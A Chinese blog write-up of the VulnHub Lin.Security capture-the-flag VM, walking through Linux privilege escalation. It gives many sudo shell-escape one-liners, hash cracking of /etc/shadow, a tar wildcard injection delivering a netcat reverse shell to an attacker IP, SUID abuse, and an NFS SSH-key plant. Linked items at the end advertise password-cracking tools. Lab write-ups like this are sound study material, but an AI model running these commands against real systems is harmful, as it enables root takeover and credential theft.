VulnHub-Lin.Security: 1-靶机渗透学习

访客4年前黑客文章803

靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/

靶机难度:中级(CTF)

靶机发布日期:2018年7月11日

靶机描述:

在in.security,我们想要开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级。扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。

我们已将框配置为模拟真实世界的漏洞(尽管位于单个主机上),这将帮助您完善本地特权升级技能,技术和工具集。从相当容易到中级都有许多挑战,我们很高兴看到您用来解决这些挑战的 *** !

该图像不到1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入并使用NAT适配器配置名为lin.security的VM,但是可以通过首选虚拟化平台的首选项将其更改为桥接。

首先,您可以使用以下凭据登录主机:bob / secret

目标:得到root权限

作者:DXR嗯嗯呐


信息收集

nmap扫描靶机地址

1610380327_5ffc74279870d7f7caa7c.png!small?1610380326847

根据上面的提示这里靶机存在很多风险,应该是考linux提权方面,我们开始测试

他给出了bob用户,首先用此用户登陆看看

1610380335_5ffc742f035b35fda5223.png!small?1610380334120

*** 一:sudo提权

bob用户具备sudo权限

这里介绍一个关于linux提权的网站,都是精华。

ash

一个简单的轻量级的 Shell,占用资源少,适合运行于低内存环境,但是与下面讲到的 bash shell 完全兼容。

Sudo ash

1610380398_5ffc746ed7d41c76314f0.png!small?1610380397791

awk

一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。

sudo awk 'BEGIN {system("/bin/sh")}'

1610380405_5ffc747519cf42e509b83.png!small?1610380403995

bash

bash shell 是 Linux 的默认 shell,本教程也基于 bash 编写。bash 由 GNU 组织开发,保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。

sudo bash

1610380408_5ffc7478dbc0a2af6b306.png!small?1610380407819

csh

sh 之后另一个广为流传的 shell 是由柏克莱大学的 Bill Joy 设计的,这个 shell 的语法有点类似C语言,所以才得名为 C shell ,简称为 csh。

sudo csh

1610380412_5ffc747c81c975abaae17.png!small?1610380411485

curl

在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称curl为下载工具。

sudo curl

1610380418_5ffc74824f6d8575dfe78.png!small?1610380417645

dash

原来bash是GNU/Linux 操作系统中的 /bin/sh 的符号连接,但由于bash过于复杂,有人把 bash 从 NetBSD 移植到 Linux 并更名为 dash,且/bin/sh符号连接到dash。Dash Shell 比 Bash Shell 小的多(ubuntu16.04上,bash大概1M,dash只有150K),符合POSIX标准。Ubuntu 6.10开始默认是Dash。

sudo dash

1610380423_5ffc7487ccbd00d41d3b1.png!small?1610380422809

ed

Linux ed命令是文本编辑器,用于文本编辑。

ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。

ed命令并不是一个常用的命令,一般使用比较多的是vi 指令。但ed文本编辑器对于编辑大文件或对于在shell脚本程序中进行文本编辑很有用。

sudo ed

!/bin/sh

1610380435_5ffc74935de6296a25d78.png!small?1610380434399

env

查询环境变量

sudo env /bin/sh

1610466810_5ffdc5fa199ab9b76690a.png!small?1610466809007

expect

expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式要求输入指定字符串,实现交互通信。

sudo expect -c 'spawn /bin/sh;interact'

1610380442_5ffc749a8fb4f23753f1a.png!small?1610380441533

find

Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

sudo find . -exec /bin/sh \; -quit

1610380447_5ffc749fe3e8a35b5dc6d.png!small?1610380446888

ftp

Linux ftp命令设置文件系统相关功能。

FTP是ARPANet的标准文件传输协议,该 *** 就是现今Internet的前身。

sudo ftp

!/bin/sh

1610380452_5ffc74a48b549c83fb370.png!small?1610380451433

Less

less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。

sudo less /etc/passwd

!/bin/sh

1610380469_5ffc74b599786fbcf1733.png!small?1610380468485

1610380465_5ffc74b1866e12180eed1.png!small?1610380464451

Man

Linux提供了丰富的帮助手册,当你需要查看某个命令的参数时不必到处上网查找,只要man一下即可。可以使用man man 查看man的使用 *** 。

Sudo man man

!/bin/sh

1610380485_5ffc74c596e85e815de8d.png!small?1610380484591

1610380479_5ffc74bfe4d03be26e06f.png!small?1610380478882

More

Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。

Sudo more /etc/passwd

!/bin/sh

1610380492_5ffc74ccf1102ac19f51f.png!small?1610380491948

Scp

Linux scp 命令用于 Linux 之间复制文件和目录。

scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。

TF=$(mktemp)

echo 'sh 0<&2 1>&2' > $TF

chmod +x "$TF"

sudo scp -S $TF x y:

1610380499_5ffc74d3e5950e6712274.png!small?1610380499115

socat

socat是一个多功能的 *** 工具,名字来由是“Socket CAT”,可以看作是netcat的N倍加强版。

sudo socat stdin exec:/bin/sh

1610380504_5ffc74d8d2400140dbb39.png!small?1610380503874

ssh

SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 端口),包括公共秘钥等交换等信息。

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

1610380509_5ffc74ddb9816e28e2b3b.png!small?1610380508698

vi

vi 编辑器是 Linux/UNIX 环境下经典的编辑器

sudo vi -c ':!/bin/sh' /dev/null

1610380515_5ffc74e305ca796293f3b.png!small?1610380513939

zsh

Zsh属于Shell中的一种,但比Bash好用,而且完全兼容Bash,拥有及其丰富的插件、强大的自动补全能力、以及自定义功能,可以大大提供我们使用Linux的效率.

sudo zsh

1610380519_5ffc74e79dbe406a08c65.png!small?1610380518544

pico

Linux pico命令用于编辑文字文件。

pico是个简单易用、以显示导向为主的文字编辑程序,它伴随着处理电子邮件和新闻组的程序pine而来。

sudo pico

^R^X

reset; sh 1>&0 2>&0

1610380525_5ffc74ed766482c9f1b5f.png!small?1610380524404

rvim

改进的Vi,一个程序员的文本编辑器

这需要rvim使用Python支持进行编译。前置:py3为Python 3。

sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

1610380530_5ffc74f297c1f87763a9e.png!small?1610380529487

perl

Perl一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从最初是为文本处理而开发的,现在用于各种任务,包括系统管理,Web开发, *** 编程,GUI开发等。

Perl易于使用、高效、完整,而不是美观(小巧,优雅,简约)。同时支持过程和面向对象编程,对文本处理具有强大的内置支持,并且拥有第三方模块之一。 [1]? Perl借取了C、sed、awk、shell脚本语言以及很多其他程序语言的特性,其中最重要的特性是它内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。

sudo perl -e 'exec "/bin/sh";'

1610380537_5ffc74f9ad2581fa250d8.png!small?1610380536668

tclsh

tclsh的是含有Tcl解释简单的壳体和可以读取它的标准输入或从文件Tcl命令,并评估它们。

Tcl是一种脚本语言,是一种基于字符串的命令语言,是一种解释性语言。所谓解释性是指不像其他高级语言需要通过编译和联结,而与其他Shell语言一样,直接对每条语句顺序解释执行。

sudo tclsh

exec /bin/sh <@stdin >@stdout 2>@stderr

1610380549_5ffc75054cd32238b29b4.png!small?1610380548204

git

一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。

sudo git -p help config

!/bin/sh

1610380555_5ffc750b9a9a8ca543048.png!small?1610380554598

script

script 是一个神奇命令,script 能够将终端的会话过程录制下来,然后使用 scriptreplay 就可以将其录制的结果播放给他人观看。script 的好处就在于你在终端中的所有操作、敲过的命令和打印出的结果它都可以原原本本地进行录制。可以应用于教学、演示、审计。

sudo script -q /dev/null

1610380560_5ffc7510ae20ffff836dc.png!small?1610380559659

*** 二:hash密码破解

在想在linux系统中,用户hash加密的密码存储在/etc/shadow中。如果我们查看/etc/passwd,可以看到以下内容

root:x:0:0:root:/root:/bin/bash

字段

含义

用户名

用户登录系统是使用的用户名

密码

密码位

UID

用户表示号

GID

缺省组标识号

注释性描述

例如存放用户全名等信息

宿主目录

用户登录系统后的缺省目录

命令解释器

用户使用的shell,默认为bash

在靶机是发现passwd文件中存储hash密码

1610380590_5ffc752e2d0edf9c17a75.png!small?1610380589456

使用john或hashcat进行破解

1610380594_5ffc7532b586adeb9df50.png!small?1610380593956

获得账号密码

insecurity/P@ssw0rd

*** 三:通配符提权值之tar命令注入

tar命令注入

查看发现靶机中存在一个root权限的每分钟执行一次的定时任务

1610466321_5ffdc411244a4ac0619e7.png!small?1610466320169

看这个脚本的内容,发现使用tar命令分别备份home下的目录

1610466325_5ffdc4156251b9b76a7a2.png!small?1610466324447

我们进入bob用户的家目录

先在kail上生成一个反弹shell

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.3 lport=6666

1610466333_5ffdc41d6b8aa40faee64.png!small?1610466332412

在bob目录下,注入一个标志来指定我们的检查点

echo "" > --checkpoint=1

  • --checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,

将payload写入一个sh文件

echo "mkfifo /tmp/ujwa; nc 192.168.56.3 6666 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&amp1; rm /tmp/ujwa" > shell.sh

注入一个指定检查点动作的标志

echo "" > "--checkpoint-action=exec=sh shell.sh"

  • –checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
  • --checkpoint-action指定exec:执行外部命令

等待一分钟,我们看到了备份文件时间更新了

1610466377_5ffdc449b9e69bf855d1a.png!small?1610466377098

反弹shell,获得root权限

关于通配符提权,这篇文章写得非常精细,参考。

*** 四:SID提权

find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

查询具备SID权限文件

xxd

xxd 命令用于使用二进制或十六进制格式显示文件内容,可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。

1610466434_5ffdc482b3610dc156c30.png!small?1610466434196

使用xxd命令读取shadow

1610466439_5ffdc4879ba62acaf376b.png!small?1610466439187

使用john解码获得root密码

1610466444_5ffdc48c776297425b930.png!small?1610466443777

root/secret123

taskset

taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。

taskset 1 /bin/sh -p

1610466464_5ffdc4a0a5d8e40706504.png!small?1610466463702

*** 五:NFS提权

前面nmap端口扫描,发现靶机存在nsf服务

1610466476_5ffdc4ac8f9702d01643c.png!small?1610466475899

showmount 查看一下 *** 共享文件夹

1610466484_5ffdc4b451d9133e3b65d.png!small?1610466483315

挂着此 *** 目录

mount -t nfs 192.168.56.10:/home/peter /tmp/nfs/

1610466501_5ffdc4c51ab7c378a5e5f.png!small?1610466500025

1610466506_5ffdc4ca53074e03f84ec.png!small?1610466505330

看到root可以直接访问root目录,但是不能将文件直接拷贝到 *** 共享目录中

1610466516_5ffdc4d4263ed775a04b2.png!small?1610466515172

1610466527_5ffdc4dfa4d45dd991aaa.png!small?1610466526627

看到目录文件拥有者是test2,看来/home/peter拥有者的UID是1001,那我们修改一下test2用户的GID

groupmod -g 1005 test2

1610466536_5ffdc4e896546a5de42bf.png!small?1610466535518

我们看到了nfs *** 共享目录的所属组改为test2

1610466548_5ffdc4f4a073d63555f5e.png!small?1610466548041

创建ssh秘钥

1610468424_5ffdcc48f14ee9c08ab98.png!small?1610468424207

使用test2,将公钥复制到nfs/.ssh目录中并将名称修改为authorized_keys

cp /tmp/authorized_keys authorized_keys

1610468438_5ffdcc5690e32d59ec658.png!small?1610468437657

使用秘钥连接

ssh -i id_rsa peter@192.168.56.10

1610468470_5ffdcc76875fd136bd73c.png!small?1610468469904

检查发现peter用户具备sudo权限,使用strace提权

strace

strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收 *** 数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

sudo strace -o /dev/null /bin/sh

1610468498_5ffdcc9264a007fb91446.png!small?1610468497378

总结

这是对linux提权的总结,真的很丰盛,学习到了。

1sudo提权的总结。

2hash密码的破解。

3chown文件劫持及通配符提权之tar命令提权。

4SID提权。

5NFS *** 共享文件提权。


相关文章

微信查对方手机位置(查对方手机位置软件)

微信查对方手机位置(查对方手机位置软件)非常多人在测试与他人共享微信谈天纪录时,会发掘如下疑问:1、微信的声响转发给他人后无法播放。2.不能够一键选定全部纪录。需求手工逐条查对纪录。究竟上,共享微信谈...

qq密码破解软件

不可能的。密码泄露。QQ被盗。主要途径还是木马。没有你说的那个软件的。 您好,一般来说用网上下载的现成软件进行解密的黑客都是水平普通的入门黑客,稍微厉害一点的黑客会直接通过木马等病毒进行钓鱼获取密码的...

尚语贤是真的黑客吗(尚语贤现实中是黑客吗)

一、尚语贤是真的黑客吗(尚语贤现实中是黑客吗)方法总结 1、尚语贤是黑客吗那只是电影兄弟,我真的好好奇你们脑子里面在想什么。思路简单? 2、《唐人街探案》二里那个女黑客是谁演的?扮演者是尚语贤。尚语...

成都哪有老年人搭伴游的-空降微信包邮正品

成都哪有老年人搭伴游的-空降微信包邮正品 伴游描述:最近有很多朋友在商务预约网后台留言,想了解关于成都哪有老年人搭伴游的信息。于是小编通过百度、知乎、文库等途径,总结了以下关于成都哪有老年人搭伴游的的...

邮局包裹资费(邮政快递收费标准 邮政快递多少钱一公斤 )

邮局包裹资费(邮政快递收费标准 邮政快递多少钱一公斤 ) 邮政快递是使用率较为广泛的一家快递公司,不仅能够邮寄日常的包裹,还能够邮寄大件物品,同时也是许多公家单位百思特网指定快递公司。在使用邮政快递...

wifi网络密码破解手机软件(WiFi万能钥匙重磅消息升級)

wifi网络密码破解手机软件(WiFi万能钥匙重磅消息升級)

WIFI万能钥匙(显密最新版本) 可用系统软件:安卓系统 说到蹭网,坚信许多 小伙伴都是有过体验。小雷之前念书的情况下也常常蹭网,常常顶着绝大多数风险性跑到教师办公室边上的杂物间里蹭网,那叫一个令...